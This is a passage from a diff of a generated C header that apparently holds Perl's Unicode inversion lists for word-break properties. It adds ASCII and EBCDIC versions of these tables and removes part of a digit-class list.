+	0x2E5,
+	0x2EC,
+	0x300,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5F3,
+	0x5F4,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1A00,
+	0x1A17,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x303B,
+	0x303D,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB50,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
 };
 
-static const UV XPosixDigit_invlist[] = { /* for EBCDIC 037 */
-	109,	/* Number of elements */
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__MB_invlist[] = { /* for ASCII/Latin1 */
+	13,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x2E,
+	0x2F,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0xFE52,
+	0xFE53,
+	0xFF07,
+	0xFF08,
+	0xFF0E,
+	0xFF0F
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__MB_invlist[] = { /* for EBCDIC 1047 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0xFE52,
+	0xFE53,
+	0xFF07,
+	0xFF08,
+	0xFF0E,
+	0xFF0F
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__MB_invlist[] = { /* for EBCDIC 037 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0xFE52,
+	0xFE53,
+	0xFF07,
+	0xFF08,
+	0xFF0E,
+	0xFF0F
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__ML_invlist[] = { /* for ASCII/Latin1 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3A,
+	0x3B,
+	0xB7,
+	0xB8,
+	0x387,
+	0x388,
+	0x5F4,
+	0x5F5,
+	0x2027,
+	0x2028,
+	0xFE13,
+	0xFE14,
+	0xFE55,
+	0xFE56,
+	0xFF1A,
+	0xFF1B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__ML_invlist[] = { /* for EBCDIC 1047 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7A,
+	0x7B,
+	0xB3,
+	0xB4,
+	0x387,
+	0x388,
+	0x5F4,
+	0x5F5,
+	0x2027,
+	0x2028,
+	0xFE13,
+	0xFE14,
+	0xFE55,
+	0xFE56,
+	0xFF1A,
+	0xFF1B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__ML_invlist[] = { /* for EBCDIC 037 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7A,
+	0x7B,
+	0xB3,
+	0xB4,
+	0x387,
+	0x388,
+	0x5F4,
+	0x5F5,
+	0x2027,
+	0x2028,
+	0xFE13,
+	0xFE14,
+	0xFE55,
+	0xFE56,
+	0xFF1A,
+	0xFF1B
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__MN_invlist[] = { /* for ASCII/Latin1 */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C,
+	0x2D,
+	0x3B,
+	0x3C,
+	0x37E,
+	0x37F,
+	0x589,
+	0x58A,
+	0x60C,
+	0x60E,
+	0x66C,
+	0x66D,
+	0x7F8,
+	0x7F9,
+	0x2044,
+	0x2045,
+	0xFE10,
+	0xFE11,
+	0xFE14,
+	0xFE15,
+	0xFE50,
+	0xFE51,
+	0xFE54,
+	0xFE55,
+	0xFF0C,
+	0xFF0D,
+	0xFF1B,
+	0xFF1C
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__MN_invlist[] = { /* for EBCDIC 1047 */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5E,
+	0x5F,
+	0x6B,
+	0x6C,
+	0x37E,
+	0x37F,
+	0x589,
+	0x58A,
+	0x60C,
+	0x60E,
+	0x66C,
+	0x66D,
+	0x7F8,
+	0x7F9,
+	0x2044,
+	0x2045,
+	0xFE10,
+	0xFE11,
+	0xFE14,
+	0xFE15,
+	0xFE50,
+	0xFE51,
+	0xFE54,
+	0xFE55,
+	0xFF0C,
+	0xFF0D,
+	0xFF1B,
+	0xFF1C
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__MN_invlist[] = { /* for EBCDIC 037 */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5E,
+	0x5F,
+	0x6B,
+	0x6C,
+	0x37E,
+	0x37F,
+	0x589,
+	0x58A,
+	0x60C,
+	0x60E,
+	0x66C,
+	0x66D,
+	0x7F8,
+	0x7F9,
+	0x2044,
+	0x2045,
+	0xFE10,
+	0xFE11,
+	0xFE14,
+	0xFE15,
+	0xFE50,
+	0xFE51,
+	0xFE54,
+	0xFE55,
+	0xFF0C,
+	0xFF0D,
+	0xFF1B,
+	0xFF1C
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__NL_invlist[] = { /* for ASCII/Latin1 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB,
+	0xD,
+	0x85,
+	0x86,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__NL_invlist[] = { /* for EBCDIC 1047 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB,
+	0xD,
+	0x25,
+	0x26,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__NL_invlist[] = { /* for EBCDIC 037 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB,
+	0xD,
+	0x15,
+	0x16,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__NU_invlist[] = { /* for ASCII/Latin1 */
+	111,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66C,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF2A,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0xA620,
+	0xA62A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x104A0,
+	0x104AA,
+	0x11066,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173A,
+	0x118E0,
+	0x118EA,
+	0x11C50,
+	0x11C5A,
+	0x11D50,
+	0x11D5A,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x1D7CE,
+	0x1D800,
+	0x1E950,
+	0x1E95A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__NU_invlist[] = { /* for EBCDIC 1047 */
+	111,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0xF0,
 	0xFA,
 	0x660,
 	0x66A,
+	0x66B,
+	0x66C,
 	0x6F0,
 	0x6FA,
 	0x7C0,
